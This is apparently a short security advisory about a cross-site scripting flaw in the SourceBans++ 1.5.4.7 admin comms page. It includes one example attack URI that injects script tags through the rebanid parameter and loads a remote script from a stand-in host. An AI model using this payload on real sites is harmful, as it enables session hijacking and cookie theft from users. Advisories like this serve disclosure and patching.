SourceBans++ sourcebans-pp is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
sourcebans-pp 1.5.4.7 is vulnerable; other versions may also be affected.
Information
Exploit
Attackers can exploit this issue by enticing an unsuspecting to victim to follow a malicious URI.
The following example URI is available:
http://www.example.com/index.php?p=admin&c=comms&rebanid=1123123123123123123231223");</script><script src=http://www.example1.com/phssz8?1492070578></script><script>alert("a
References:
- Added filtering (SourceBans++)
- SourceBans++ Homepage (SourceBans++)
- XSS vulnerability in admin.comms.php #253 (SourceBans++)